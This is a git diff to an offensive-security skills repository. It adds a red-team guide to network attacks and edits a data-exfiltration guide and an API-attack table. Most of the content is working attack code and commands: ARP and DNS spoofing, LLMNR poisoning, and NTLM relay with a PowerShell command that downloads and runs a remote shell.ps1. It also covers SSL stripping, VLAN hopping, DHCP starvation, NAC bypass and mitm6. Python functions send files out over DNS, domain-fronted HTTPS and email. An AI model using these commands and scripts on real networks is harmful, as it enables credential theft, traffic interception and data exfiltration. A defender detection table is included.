| Discovery | GraphQL schema introspection | curl, GraphQL Voyager |
-| Discovery | Undocumented endpoint brute-force | Custom wordlist scripts |
-| Discovery | Source map analysis | curl, browser DevTools |
+| Discovery | Endpoint brute-force | Custom wordlist scripts |
| Logic | Workflow bypass via API chaining | curl, Burp Repeater |
| Logic | Price/state manipulation | curl sequences |
| Logic | Race condition exploitation | Python asyncio/aiohttp, GNU parallel |
| Auth | JWT algorithm confusion | jwt_tool |
-| Auth | JWT kid injection | jwt_tool |
-| Auth | JWT jku/x5u abuse | jwt_tool, openssl |
+| Auth | JWT kid/jku injection | jwt_tool, openssl |
| Auth | JWT claim tampering | jwt_tool |
-| Data | Pagination-based exfiltration | Python scripts |
+| Data | Pagination-based exfiltration | curl, Python scripts |
| Data | GraphQL batched brute-force | Python scripts |
| Data | API key leakage search | gh, grep, curl |
-| Infrastructure | Webhook hijacking | curl |
-| Infrastructure | Webhook SSRF | curl |
-| Infrastructure | Resource exhaustion | curl, Python |
-| Infrastructure | XML entity expansion | curl |
-| Reporting | Consolidate business impact | Manual documentation |
+| Infra | Webhook hijacking/SSRF | curl |
+| Infra | Resource exhaustion | curl, Python |
---
@@ -809,10 +491,9 @@ When you execute these techniques, you generate specific artifacts that defender
- OWASP Testing Guide -- Business Logic Testing: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/10-Business_Logic_Testing/
- GraphQL Security Best Practices: https://graphql.org/learn/security/
- PortSwigger -- Race Conditions: https://portswigger.net/web-security/race-conditions
-- jwt_tool Repository: https://github.com/ticarpi/jwt_tool
-- Arjun Repository: https://github.com/s0md3v/Arjun
-- ParamSpider Repository: https://github.com/devanshbatham/ParamSpider
+- jwt_tool: https://github.com/ticarpi/jwt_tool
+- Arjun: https://github.com/s0md3v/Arjun
+- ParamSpider: https://github.com/devanshbatham/ParamSpider
- GraphQL Voyager: https://github.com/graphql-kit/graphql-voyager
- "Black Hat GraphQL" by Nick Aleks and Dolev Farhi (No Starch Press)
- RFC 7519 -- JSON Web Token: https://datatracker.ietf.org/doc/html/rfc7519
-- CWE-362 -- Concurrent Execution Using Shared Resource: https://cwe.mitre.org/data/definitions/362.html
diff --git a/Skills/network/offensive-network-attacks/SKILL.md b/Skills/network/offensive-network-attacks/SKILL.md
new file mode 100644
index 0000000..84fd420
--- /dev/null
+++ b/Skills/network/offensive-network-attacks/SKILL.md
@@ -0,0 +1,597 @@
+---
+name: offensive-network-attacks
+description: "Network-level attack techniques targeting Layer 2 and Layer 3 protocols for internal penetration testing and red team engagements. Covers ARP spoofing and cache poisoning (arpspoof, Bettercap, Ettercap), LLMNR/NBT-NS/mDNS poisoning for credential interception (Responder, Inveigh), DNS poisoning and spoofing, man-in-the-middle attack execution (Bettercap, SSL stripping, HSTS bypass via sslstrip+ and dns2proxy), VLAN hopping (switch spoofing, double tagging/Q-in-Q), DHCP attacks (rogue DHCP server, DHCP starvation), 802.1X and NAC bypass techniques (MAC spoofing, hub-based bypass, certificate extraction), IPv6 attacks (SLAAC abuse, mitm6 DNS takeover, IPv6 router advertisement flooding), and network traffic sniffing and analysis with Wireshark and tcpdump. Integrates with Bettercap for MITM framework operations, Responder for multicast name resolution poisoning, mitm6 for IPv6-based attacks, Ettercap for legacy MITM scenarios, and Wireshark for packet analysis. Maps to MITRE ATT&CK T1557 (Adversary-in-the-Middle) and T1040 (Network Sniffing). All techniques assume you are operating on an authorized internal network assessment with explicit written scope."
+---
+
+# Offensive Network Attacks
+
+Internal network assessments begin the moment you have a foothold on the wire or WLAN. Layer 2 and Layer 3 protocols were designed for functionality and interoperability, not security -- most broadcast, resolve, and route without authentication. You exploit that trust to intercept credentials, redirect traffic, and pivot across network segments.
+
+These techniques assume you have authorized access to an internal network segment. Executing ARP spoofing, DHCP attacks, or VLAN hopping on a production network can cause outages. Coordinate with the client's network operations team, define a maintenance window for disruptive tests, and have rollback procedures ready.
+
+## Quick Workflow
+
+1. Perform passive reconnaissance: identify the subnet, gateway, VLAN assignments, active hosts, and naming conventions.
+2. Run Responder in analyze mode to observe LLMNR/NBT-NS/mDNS traffic without poisoning.
+3. Enable Responder poisoning to capture NTLMv2 hashes from broadcast name resolution.
+4. If credential interception is insufficient, escalate to ARP spoofing for targeted MITM against high-value hosts.
+5. Attempt VLAN hopping or IPv6 attacks if segmentation limits your reach.
+6. Crack captured hashes offline; relay credentials where cracking is impractical.
+7. Document all intercepted traffic, credentials, and network misconfigurations for the final report.
+
+---
+
+## ARP Spoofing and Cache Poisoning
+
+ARP has no authentication mechanism. You send gratuitous ARP replies to associate your MAC address with the gateway's IP on victim hosts, routing their traffic through your machine.
+
+### ARP Spoofing with Bettercap
+
+Bettercap is the modern replacement for arpspoof and Ettercap. It provides a unified MITM framework with modules for ARP spoofing, DNS spoofing, packet proxying, and credential sniffing.
+
+```bash
+# Start Bettercap on the target interface
+sudo bettercap -iface eth0
+
+# Inside the Bettercap interactive console:
+
+# Discover live hosts on the subnet
+net.probe on
+
+# List discovered targets
+net.show
+
+# Enable ARP spoofing -- full-duplex (both target and gateway)
+set arp.spoof.fullduplex true
+set arp.spoof.targets 192.168.1.50
+arp.spoof on
+
+# Enable packet forwarding to maintain connectivity
+set net.sniff.local true
+net.sniff on
+
+# Capture HTTP credentials
+set http.proxy.sslstrip true
+http.proxy on
+
+# Capture HTTPS credentials (with SSL stripping)
+set https.proxy.sslstrip true
+https.proxy on
+```
+
+### ARP Spoofing with arpspoof (Legacy)
+
+```bash
+# Enable IP forwarding to prevent DoS
+echo 1 > /proc/sys/net/ipv4/ip_forward
+
+# Poison the victim's ARP cache (tell victim you are the gateway)
+arpspoof -i eth0 -t 192.168.1.50 192.168.1.1
+
+# In a second terminal, poison the gateway (tell gateway you are the victim)
+arpspoof -i eth0 -t 192.168.1.1 192.168.1.50
+
+# Now all traffic between victim and gateway flows through your machine
+# Capture with tcpdump:
+tcpdump -i eth0 -w capture.pcap host 192.168.1.50
+```
+
+### ARP Spoofing with Ettercap
+
+```bash
+# Text mode -- ARP poisoning between target and gateway
+sudo ettercap -T -q -M arp:remote /192.168.1.50// /192.168.1.1//
+
+# With a compiled Ettercap filter to inject content in transit:
+etterfilter inject_html.ef -o inject_html.eco
+sudo ettercap -T -q -M arp:remote -F inject_html.eco /192.168.1.50// /192.168.1.1//
+```
+
+---
+
+## LLMNR/NBT-NS/mDNS Poisoning
+
+When DNS resolution fails, Windows falls back to Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS). These broadcast protocols ask the entire subnet "who is X?" -- and you answer first with your IP address, redirecting authentication attempts to your machine.
+
+### Responder
+
+Responder is the standard tool for poisoning multicast name resolution and capturing NTLMv2 hashes. It runs rogue SMB, HTTP, LDAP, FTP, and SQL servers to provoke authentication.
+
+```bash
+# Run Responder in analyze mode first (passive -- no poisoning)
+sudo responder -I eth0 -A
+
+# Review the output to understand what protocols are in use
+# and which hosts are broadcasting name resolution queries
+
+# Enable poisoning with all rogue servers
+sudo responder -I eth0 -wrfb
+
+# Flags breakdown:
+# -w Start the WPAD rogue proxy server
+# -r Enable NetBIOS wrapping answers
+# -f Fingerprint hosts that connect
+# -b Enable HTTP basic auth (for non-NTLM clients)
+
+# Captured hashes are stored in:
+# /opt/Responder/logs/
+
+# Hash format (NTLMv2):
+# user::DOMAIN:challenge:response:blob
+# Crack with hashcat:
+hashcat -m 5600 hashes.txt wordlist.txt -r rules/best64.rule
+```
+
+### NTLM Relay with ntlmrelayx (Instead of Cracking)
+
+When hashes resist cracking, relay them to another service that accepts NTLM authentication.
+
+```bash
+# Identify hosts with SMB signing disabled (relay targets)
+crackmapexec smb 192.168.1.0/24 --gen-relay-list relay_targets.txt
+
+# Start ntlmrelayx targeting those hosts
+# Disable SMB and HTTP in Responder first (ntlmrelayx will handle them)
+sudo python3 ntlmrelayx.py -tf relay_targets.txt -smb2support
+
+# Responder forces authentication; ntlmrelayx relays the hash
+# to execute commands on the relay target:
+sudo python3 ntlmrelayx.py -tf relay_targets.txt -smb2support \
+ -c "powershell -ep bypass -c IEX((New-Object Net.WebClient).DownloadString('http://192.168.1.100/shell.ps1'))"
+
+# Or dump SAM hashes from the relay target:
+sudo python3 ntlmrelayx.py -tf relay_targets.txt -smb2support --dump-lsass
+```
+
+### Inveigh (Windows-Native Poisoning)
+
+When you are operating from a compromised Windows host, Inveigh is the PowerShell-based equivalent of Responder.
+
+```powershell
+# Import and run Inveigh
+Import-Module .\Inveigh.ps1
+
+# Start poisoning from a Windows host
+Invoke-Inveigh -LLMNR Y -NBNS Y -mDNS Y -ConsoleOutput Y -FileOutput Y
+
+# Or use InveighZero (the C# version) for better performance
+.\InveighZero.exe -LLMNR Y -NBNS Y -mDNS Y -FileOutput Y
+
+# Captured hashes are written to the current directory
+# Format is identical to Responder output -- compatible with hashcat
+```
+
+---
+
+## DNS Poisoning and Spoofing
+
+DNS spoofing redirects domain lookups to your controlled IP address. Combined with ARP spoofing, you can hijack authentication flows, redirect updates, or serve malicious content.
+
+### DNS Spoofing with Bettercap
+
+```bash
+# Bettercap DNS spoofing -- redirect specific domains
+sudo bettercap -iface eth0
+
+# Create a DNS spoofing hosts file
+# File: /tmp/dns_spoof_hosts
+# Format: IP domain
+# 192.168.1.100 intranet.targetcorp.com
+# 192.168.1.100 vpn.targetcorp.com
+# 192.168.1.100 *.targetcorp.com
+
+set dns.spoof.domains intranet.targetcorp.com, vpn.targetcorp.com
+set dns.spoof.address 192.168.1.100
+dns.spoof on
+
+# Combine with ARP spoofing for full interception
+set arp.spoof.targets 192.168.1.0/24
+arp.spoof on
+```
+
+### DNS Spoofing with dnschef
+
+```bash
+# Standalone DNS proxy for targeted spoofing
+sudo dnschef --fakeip 192.168.1.100 --fakedomains targetcorp.com -i 192.168.1.100
+
+# Configuration file for complex mappings (/tmp/dnschef.ini):
+# [A]
+# *.targetcorp.com=192.168.1.100
+# [AAAA]
+# *.targetcorp.com=::1
+sudo dnschef --file /tmp/dnschef.ini -i 192.168.1.100
+```
+
+---
+
+## Man-in-the-Middle Attacks
+
+Once you are positioned between a victim and their gateway (via ARP spoofing, DNS poisoning, or rogue network services), you can inspect, modify, and inject traffic.
+
+### SSL Stripping
+
+SSL stripping downgrades HTTPS connections to HTTP by intercepting the initial redirect and rewriting links. This fails against HSTS-preloaded domains but works against sites relying solely on server-side redirects.
+
+```bash
+# Bettercap SSL stripping with hstshijack caplet
+sudo bettercap -iface eth0
+
+# Load the hstshijack caplet for HSTS bypass
+set hstshijack.log /tmp/hsts.log
+set hstshijack.payloads *:/tmp/inject.js
+set hstshijack.targets mail.targetcorp.com,intranet.targetcorp.com
+set hstshijack.replacements mail.targetcorp.corn,intranet.targetcorp.corn
+set hstshijack.obfuscate true
+set hstshijack.encode true
+
+hstshijack on
+arp.spoof on
+```
+
+### HSTS Bypass with sslstrip+
+
+sslstrip+ combined with dns2proxy replaces domain names themselves so the browser never applies its HSTS policy. Set up IP forwarding, iptables redirect to port 10000, run sslstrip+ and dns2proxy, then ARP spoof the target.
+
+```bash
+echo 1 > /proc/sys/net/ipv4/ip_forward
+iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 10000
+iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 10000
+python3 sslstrip.py -l 10000 -a -w /tmp/sslstrip.log &
+python3 dns2proxy.py &
+arpspoof -i eth0 -t 192.168.1.50 192.168.1.1
+```
+
+### Credential Interception from MITM Position
+
+```bash
+# Bettercap built-in credential sniffing
+set net.sniff.verbose true
+set net.sniff.regexp .*password.*
+net.sniff on
+
+# Extract credentials from pcap files offline
+pcredz -f capture.pcap
+# Or real-time extraction across protocols (HTTP, FTP, SMTP, NTLM)
+sudo python3 net-creds.py -i eth0
+```
+
+---
+
+## VLAN Hopping
+
+VLAN segmentation isolates broadcast domains, but misconfigurations in switch port settings allow you to send traffic into VLANs you should not reach.
+
+### Switch Spoofing
+
+If a switch port is configured in dynamic trunking mode (the default on many Cisco switches), you can negotiate a trunk link and access all VLANs.
+
+```bash
+# Use Yersinia to negotiate a DTP trunk
+sudo yersinia dtp -attack 1 -interface eth0
+
+# Or manually craft DTP frames with scapy
+python3 <<'PYEOF'
+from scapy.all import *
+from scapy.contrib.dtp import *
+
+# Send DTP desirable frames to negotiate trunking
+dtp_frame = (
+ Dot3(src=get_if_hwaddr("eth0"), dst="01:00:0c:cc:cc:cc") /
+ LLC(dsap=0xaa, ssap=0xaa, ctrl=0x03) /
+ SNAP(OUI=0x00000c, code=0x2004) /
+ DTP(tlvlist=[
+ DTPDomain(type=0x0001, length=5, domain=b""),
+ DTPStatus(type=0x0002, length=5, status=b"\x03"), # Desirable
+ DTPType(type=0x0003, length=5, dtptype=b"\xa5"), # 802.1Q
+ DTPNeighbor(type=0x0004, length=10, neighbor=get_if_hwaddr("eth0"))
+ ])
+)
+
+sendp(dtp_frame, iface="eth0", loop=1, inter=30)
+PYEOF
+
+# Once trunking is established, create VLAN sub-interfaces
+sudo modprobe 8021q
+sudo vconfig add eth0 100 # Target VLAN 100
+sudo ifconfig eth0.100 192.168.100.5 netmask 255.255.255.0 up
+```
+
+### Double Tagging (Q-in-Q)
+
+When switch spoofing fails (DTP is disabled), double tagging exploits the way switches process nested 802.1Q headers. The outer tag is stripped by the first switch, and the inner tag routes the frame into the target VLAN. This is a one-way attack -- you can send but not receive replies directly.
+
+```python
+# Double tagging with Scapy
+from scapy.all import *
+
+# Craft a double-tagged frame
+# Outer VLAN: your native VLAN (e.g., 1)
+# Inner VLAN: target VLAN (e.g., 100)
+frame = (
+ Ether(dst="ff:ff:ff:ff:ff:ff") /
+ Dot1Q(vlan=1) / # Outer tag (native VLAN -- stripped by first switch)
+ Dot1Q(vlan=100) / # Inner tag (routes to target VLAN)
+ IP(dst="192.168.100.1") /
+ ICMP()
+)
+
+sendp(frame, iface="eth0")
+
+# For practical exploitation, combine with ARP poisoning:
+# Send double-tagged ARP replies to poison caches in the target VLAN
+arp_poison = (
+ Ether(dst="ff:ff:ff:ff:ff:ff") /
+ Dot1Q(vlan=1) /
+ Dot1Q(vlan=100) /
+ ARP(op=2, psrc="192.168.100.1", hwsrc="aa:bb:cc:dd:ee:ff",
+ pdst="192.168.100.50", hwdst="ff:ff:ff:ff:ff:ff")
+)
+
+sendp(arp_poison, iface="eth0", count=10, inter=2)
+```
+
+---
+
+## DHCP Attacks
+
+DHCP has no authentication. You can starve the legitimate DHCP server of its address pool and then step in as a rogue server, pushing your IP as the default gateway and DNS server.
+
+### DHCP Starvation
+
+Exhaust the DHCP server's address pool by requesting every available lease with spoofed MAC addresses.
+
+```bash
+# DHCPig -- purpose-built DHCP starvation tool
+sudo pig.py eth0
+
+# Or with Yersinia
+sudo yersinia dhcp -attack 1 -interface eth0
+```
+
+```python
+# Scapy-based starvation -- fine-grained control
+from scapy.all import *
+import random
+
+for i in range(500):
+ mac = ":".join(["%02x" % random.randint(0, 255) for _ in range(6)])
+ raw_mac = bytes.fromhex(mac.replace(":", ""))
+ pkt = (Ether(src=mac, dst="ff:ff:ff:ff:ff:ff") /
+ IP(src="0.0.0.0", dst="255.255.255.255") /
+ UDP(sport=68, dport=67) /
+ BOOTP(chaddr=raw_mac, xid=random.randint(1, 0xFFFFFFFF)) /
+ DHCP(options=[("message-type", "discover"), "end"]))
+ sendp(pkt, iface="eth0", verbose=False)
+```
+
+### Rogue DHCP Server
+
+After starvation (or on a subnet without DHCP snooping), deploy a rogue DHCP server that assigns your machine as the gateway and DNS server.
+
+```bash
+# Bettercap rogue DHCP
+sudo bettercap -iface eth0
+
+set dhcp6.spoof.domains targetcorp.com
+set dhcp6.spoof.address 192.168.1.100 # Your IP
+
+# For DHCPv4 rogue server, use Metasploit:
+msfconsole -q -x "
+use auxiliary/server/dhcp;
+set SRVHOST 192.168.1.100;
+set NETMASK 255.255.255.0;
+set ROUTER 192.168.1.100;
+set DNSSERVER 192.168.1.100;
+set DHCPIPSTART 192.168.1.200;
+set DHCPIPEND 192.168.1.250;
+run
+"
+
+# All clients receiving leases from your rogue server now
+# route through you (gateway) and resolve DNS through you
+```
+
+---
+
+## 802.1X and NAC Bypass
+
+Network Access Control uses 802.1X authentication to restrict network access to authorized devices. Several bypass techniques exist depending on the implementation.
+
+### MAC Address Spoofing
+
+If NAC relies on MAC-based authentication (MAB) rather than certificate-based 802.1X, spoof an authorized MAC address.
+
+```bash
+# Find authorized MAC addresses on the network
+# Sniff traffic on an unauthenticated port or from ARP broadcasts
+sudo tcpdump -i eth0 -e -c 100 | awk '{print $2}' | sort -u
+
+# Or read the MAC from an authorized device's network configuration
+# (if you have physical access to a printer, IP phone, etc.)
+
+# Spoof the MAC address
+sudo ifconfig eth0 down
+sudo macchanger -m AA:BB:CC:DD:EE:FF eth0
+sudo ifconfig eth0 up
+sudo dhclient eth0
+```
+
+### Hub-Based 802.1X Bypass
+
+Insert a passive hub between an authenticated device (printer, IP phone) and the switch port. The switch sees the port as authenticated; your device shares that state. Spoof the authenticated device's MAC. This works because 802.1X authenticates the port, not individual MACs (unless per-MAC dynamic ACLs are configured).
+
+### Certificate Extraction for EAP-TLS
+
+```bash
+# On a compromised domain-joined Windows machine (local admin):
+certutil -store My
+# Export with private key via mimikatz:
+# mimikatz # crypto::certificates /systemstore:local_machine /export
+
+# Configure your attack machine for EAP-TLS with the extracted cert:
+cat <<'EOF' > /etc/wpa_supplicant/wpa_supplicant.conf
+network={
+ ssid="CorpWiFi"
+ key_mgmt=WPA-EAP
+ eap=TLS
+ identity="TARGETCORP\WORKSTATION01$"
+ ca_cert="/etc/certs/ca.pem"
+ client_cert="/etc/certs/client.pem"
+ private_key="/etc/certs/client.key"
+ private_key_passwd="exported_password"
+}
+EOF
+wpa_supplicant -i wlan0 -c /etc/wpa_supplicant/wpa_supplicant.conf
+```
+
+---
+
+## IPv6 Attacks
+
+Most internal networks have IPv6 enabled by default but lack IPv6 security controls. Windows prefers IPv6 over IPv4 -- if you advertise an IPv6 router, Windows clients will route through you.
+
+### SLAAC Abuse and mitm6
+
+mitm6 exploits the default IPv6 configuration on Windows to become the primary DNS server via DHCPv6, then relays authentication to ntlmrelayx.
+
+```bash
+# mitm6 -- IPv6 DNS takeover
+# Responds to DHCPv6 requests and sets your machine as DNS server
+# Victims resolve internal names through you -> authentication -> relay
+
+# Terminal 1: Start mitm6
+sudo mitm6 -d targetcorp.com -i eth0
+
+# Terminal 2: Start ntlmrelayx to relay captured auth
+sudo python3 ntlmrelayx.py -6 -t ldaps://dc01.targetcorp.com \
+ -wh fakewpad.targetcorp.com -l /tmp/loot/
+
+# What happens:
+# 1. mitm6 sends DHCPv6 replies assigning your IP as DNS server
+# 2. Windows clients start sending DNS queries to you
+# 3. mitm6 responds to DNS queries with your IP address
+# 4. Clients attempt authentication (WPAD, SMB, HTTP)
+# 5. ntlmrelayx relays the auth to the domain controller via LDAP
+# 6. On success: creates a new machine account, dumps AD info, etc.
+```
+
+### IPv6 Router Advertisement Injection
+
+```python
+# Scapy -- inject a rogue Router Advertisement to become default router
+from scapy.all import *
+
+ra = (
+ Ether(dst="33:33:00:00:00:01") /
+ IPv6(src="fe80::1", dst="ff02::1") /
+ ICMPv6ND_RA(routerlifetime=1800) /
+ ICMPv6NDOptSrcLLAddr(lladdr=get_if_hwaddr("eth0")) /
+ ICMPv6NDOptMTU(mtu=1500) /
+ ICMPv6NDOptPrefixInfo(prefix="2001:db8::", prefixlen=64,
+ validlifetime=0xFFFFFFFF, preferredlifetime=0xFFFFFFFF)
+)
+sendp(ra, iface="eth0", loop=1, inter=5)
+
+# For bulk flooding (DoS): sudo flood_router6 eth0 (THC-IPv6 toolkit)
+# Combine with rogue DNS (dnschef on IPv6) for full traffic interception
+# Detection note: RA Guard blocks this but most orgs have not deployed it
+```
+
+---
+
+## Network Sniffing
+
+Passive traffic analysis reveals credentials, internal services, network architecture, and communication patterns without generating any attack traffic.
+
+### Targeted Capture and Credential Extraction
+
+```bash
+# Capture authentication traffic by protocol
+sudo tcpdump -i eth0 -w /tmp/smb.pcap 'port 445 or port 139'
+sudo tcpdump -i eth0 -w /tmp/cleartext.pcap 'port 21 or port 23 or port 389'
+sudo tcpdump -i eth0 -w /tmp/full_capture.pcap
+
+# Automatic credential extraction from pcap (NTLM, HTTP, FTP, SMTP, SNMP)
+sudo python3 Pcredz -f /tmp/full_capture.pcap
+
+# Real-time credential sniffing
+sudo python3 net-creds.py -i eth0
+
+# Key Wireshark display filters:
+# ntlmssp.messagetype == 0x00000003 (NTLM auth)
+# kerberos.msg.type == 10 (Kerberos AS-REQ)
+# http.request.method == "POST" (HTTP credentials)
+# ftp.request.command == "USER" || ftp.request.command == "PASS"
+# snmp.community (SNMP community strings)
+```
+
+---
+
+## Detection / Defender View
+
+| Attack | Detection Method | Defensive Control |
+|---|---|---|
+| ARP spoofing | Duplicate IP-MAC mappings, ARP storm alerts, IDS signatures | Dynamic ARP Inspection (DAI), static ARP entries for critical hosts |
+| LLMNR/NBT-NS poisoning | Multicast traffic spikes, unexpected SMB auth to unknown hosts | Disable LLMNR and NBT-NS via GPO, use DNS suffixes |
+| DNS poisoning | Mismatched DNS responses, TTL anomalies, multiple answers for one query | DNSSEC, DNS monitoring, outbound DNS restricted to authorized resolvers |
+| SSL stripping | HTTP connections to known HTTPS-only services, certificate warnings | HSTS preloading, certificate pinning, TLS inspection on egress proxy |
+| VLAN hopping | DTP negotiation from access ports, frames with unexpected VLAN tags | Disable DTP on all access ports, set native VLAN to unused VLAN |
+| DHCP attacks | Multiple DHCP requests from different MACs on one port, rogue DHCP offers | DHCP snooping, port security with MAC limits |
+| 802.1X bypass | Multiple MACs on an authenticated port, MAC address changes | 802.1X with per-MAC authentication, MACSec encryption |
+| IPv6 attacks | Unexpected Router Advertisements, DHCPv6 from unknown sources | RA Guard, DHCPv6 Guard, disable IPv6 if not used |
+| Network sniffing | Promiscuous mode detection, unusual traffic volume on monitoring ports | Network encryption (IPsec, MACSec), switch port monitoring |
+
+Network defenders should prioritize: enabling DAI and DHCP snooping on all switches, disabling LLMNR/NBT-NS enterprise-wide, enforcing SMB signing, deploying RA Guard on IPv6-capable switches, and setting all access ports to nonegotiate mode with a dedicated unused native VLAN.
+
+---
+
+## Engagement Cheatsheet
+
+```text
+PRE-ENGAGEMENT
+ [ ] Written authorization specifying which network segments are in scope
+ [ ] Coordination with network operations (maintenance window for disruptive tests)
+ [ ] Rollback procedures documented for ARP, DHCP, and VLAN attacks
+ [ ] Attack machine configured: IP forwarding, tool dependencies, capture storage
+ [ ] Baseline network scan completed (know what is normal before you disrupt it)
+
+PASSIVE RECONNAISSANCE
+ [ ] Network sniffing: identify subnets, VLANs, gateways, DNS servers
+ [ ] Responder in analyze mode: observe broadcast name resolution traffic
+ [ ] Identify high-value targets: domain controllers, file servers, admin workstations
+ [ ] Map VLAN assignments and inter-VLAN routing
+
+ACTIVE EXPLOITATION
+ [ ] Responder poisoning: capture NTLMv2 hashes from LLMNR/NBT-NS
+ [ ] ARP spoofing: targeted MITM against specific hosts (not broadcast)
+ [ ] VLAN hopping: attempt DTP negotiation, double tagging
+ [ ] IPv6 attacks: mitm6 for DNS takeover and credential relay
+ [ ] DHCP attacks: rogue server deployment (coordinate with blue team)
+ [ ] Crack captured hashes; relay where cracking is impractical
+
+POST-ENGAGEMENT
+ [ ] Stop all poisoning and spoofing; verify network has recovered
+ [ ] Confirm no residual ARP cache corruption on critical hosts
+ [ ] Remove rogue DHCP leases and IPv6 router advertisements
+ [ ] Compile intercepted credentials, captured traffic, and network gaps
+ [ ] Recommendations: DAI, DHCP snooping, LLMNR disable, SMB signing,
+ RA Guard, switch port hardening, network segmentation review
+```
+
+---
+
+## Key References
+
+- MITRE ATT&CK T1557 -- Adversary-in-the-Middle (T1557.001 LLMNR/NBT-NS, T1557.002 ARP Cache Poisoning, T1557.003 DHCP Spoofing)
+- MITRE ATT&CK T1040 -- Network Sniffing
+- Bettercap -- https://www.bettercap.org
+- Responder -- https://github.com/lgandx/Responder
+- mitm6 -- https://github.com/dirkjanm/mitm6
+- Ettercap -- https://www.ettercap-project.org
+- Inveigh -- https://github.com/Kevin-Robertson/Inveigh
+- impacket (ntlmrelayx) -- https://github.com/fortra/impacket
+- THC-IPv6 -- https://github.com/vanhauser-thc/thc-ipv6
+- Yersinia -- https://github.com/tomac/yersinia
+- Wireshark -- https://www.wireshark.org
+- PCredz -- https://github.com/lgandx/PCredz
diff --git a/Skills/post-exploitation/offensive-data-exfiltration/SKILL.md b/Skills/post-exploitation/offensive-data-exfiltration/SKILL.md
index 5a3e435..d2eb163 100644
--- a/Skills/post-exploitation/offensive-data-exfiltration/SKILL.md
+++ b/Skills/post-exploitation/offensive-data-exfiltration/SKILL.md
@@ -54,13 +54,8 @@ powershell Compress-Archive -Path C:\Users\target\Documents\* -DestinationPath C
# Encrypt with AES-256 before exfiltration
openssl enc -aes-256-cbc -salt -pbkdf2 -in loot.tar.gz -out loot.enc -k "engagement_key_2024"
-# GPG encryption (asymmetric)
+# GPG encryption (asymmetric, preferred for multi-operator engagements)
gpg --recipient operator@redteam --encrypt loot.tar.gz
-
-# On Windows with PowerShell
-$key = [System.Text.Encoding]::UTF8.GetBytes("32ByteKeyHere12345678901234")
-$aes = [System.Security.Cryptography.Aes]::Create()
-# ... standard .NET AES encryption flow
```
### Encoding for Protocol Constraints
@@ -158,33 +153,23 @@ done
```
```python
-# Python DNS exfiltration script with jitter
-import dns.resolver
-import base64
-import time
-import random
+# Python DNS exfiltration with jitter
+import dns.resolver, base64, time, random
def exfil_dns(filepath, domain, delay_range=(1, 5)):
"""Exfiltrate a file via DNS queries with timing jitter."""
with open(filepath, 'rb') as f:
data = f.read()
-
encoded = base64.b32encode(data).decode().rstrip('=').lower()
- chunk_size = 60 # Max DNS label length is 63
-
seq = 0
- for i in range(0, len(encoded), chunk_size):
- chunk = encoded[i:i+chunk_size]
- query = f"{seq:04d}.{chunk}.d.{domain}"
+ for i in range(0, len(encoded), 60): # 60 chars per label (max 63)
+ query = f"{seq:04d}.{encoded[i:i+60]}.d.{domain}"
try:
dns.resolver.resolve(query, 'A')
except Exception:
- pass # Response does not matter; data is in the query
+ pass # Data is in the query itself
seq += 1
time.sleep(random.uniform(*delay_range))
-
- # Send completion signal
- dns.resolver.resolve(f"done.{seq:04d}.d.{domain}", 'A')
```
### PacketWhisper
@@ -256,31 +241,19 @@ curl -H "Host: exfil.yourdomain.com" https://legitimate-site.cdn.com/upload \
```python
# HTTPS exfiltration with chunked transfer and domain fronting
-import requests
-import os
+import requests, os
def exfil_https(filepath, fronting_domain, real_host, chunk_size=1048576):
- """Exfiltrate via HTTPS with domain fronting."""
- file_size = os.path.getsize(filepath)
+ """Exfiltrate via HTTPS with domain fronting in 1MB chunks."""
session = requests.Session()
-
with open(filepath, 'rb') as f:
chunk_num = 0
- while True:
- chunk = f.read(chunk_size)
- if not chunk:
- break
- headers = {
- 'Host': real_host,
- 'Content-Type': 'application/octet-stream',
- 'X-Request-ID': f'{chunk_num:06d}',
- 'X-Total-Size': str(file_size),
- }
+ while chunk := f.read(chunk_size):
session.post(
f'https://{fronting_domain}/api/telemetry',
data=chunk,
- headers=headers,
- verify=True
+ headers={'Host': real_host, 'Content-Type': 'application/octet-stream',
+ 'X-Request-ID': f'{chunk_num:06d}'}
)
chunk_num += 1
```
@@ -402,38 +375,27 @@ $smtp.Send($msg)
```python
# SMTP exfiltration with chunked attachments
-import smtplib
+import smtplib, os
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
-import os
-
-def exfil_email(filepath, smtp_server, from_addr, to_addr, max_attach_mb=5):
- """Exfiltrate data as email attachments, chunked if needed."""
- file_size = os.path.getsize(filepath)
- chunk_size = max_attach_mb * 1024 * 1024
+def exfil_email(filepath, smtp_server, from_addr, to_addr, chunk_mb=5):
+ """Exfiltrate data as email attachments, chunked to avoid size limits."""
with open(filepath, 'rb') as f:
- part_num = 0
- while True:
- chunk = f.read(chunk_size)
- if not chunk:
- break
-
+ part = 0
+ while chunk := f.read(chunk_mb * 1024 * 1024):
msg = MIMEMultipart()
- msg['From'] = from_addr
- msg['To'] = to_addr
- msg['Subject'] = f'Monthly Analytics Report Part {part_num + 1}'
-
- attachment = MIMEBase('application', 'octet-stream')
- attachment.set_payload(chunk)
- encoders.encode_base64(attachment)
- attachment.add_header('Content-Disposition', f'attachment; filename="report_p{part_num}.dat"')
- msg.attach(attachment)
-
- with smtplib.SMTP(smtp_server) as server:
- server.send_message(msg)
- part_num += 1
+ msg['From'], msg['To'] = from_addr, to_addr
+ msg['Subject'] = f'Monthly Analytics Report Part {part + 1}'
+ att = MIMEBase('application', 'octet-stream')
+ att.set_payload(chunk)
+ encoders.encode_base64(att)
+ att.add_header('Content-Disposition', f'attachment; filename="report_p{part}.dat"')
+ msg.attach(att)
+ with smtplib.SMTP(smtp_server) as s:
+ s.send_message(msg)
+ part += 1
```
OPSEC note: DLP systems commonly inspect outbound email for sensitive data
@@ -452,41 +414,13 @@ inspection.
# LSB steganography with steghide (JPEG/BMP/WAV/AU)
steghide embed -cf cover_image.jpg -ef loot.enc -p "passphrase" -f
steghide extract -sf cover_image.jpg -p "passphrase"
-
-# Using zsteg for PNG (LSB encoding)
-# Embed data in the least significant bits of pixel values
-python3 -c "
-from PIL import Image
-import struct
-
-def embed_lsb(cover_path, data, output_path):
- img = Image.open(cover_path)
- pixels = list(img.getdata())
- bits = ''.join(format(b, '08b') for b in data)
- bits += '0' * (len(pixels) * 3 - len(bits)) # Pad
-
- new_pixels = []
- bit_idx = 0
- for pixel in pixels:
- new_pixel = []
- for channel in pixel[:3]:
- if bit_idx < len(bits):
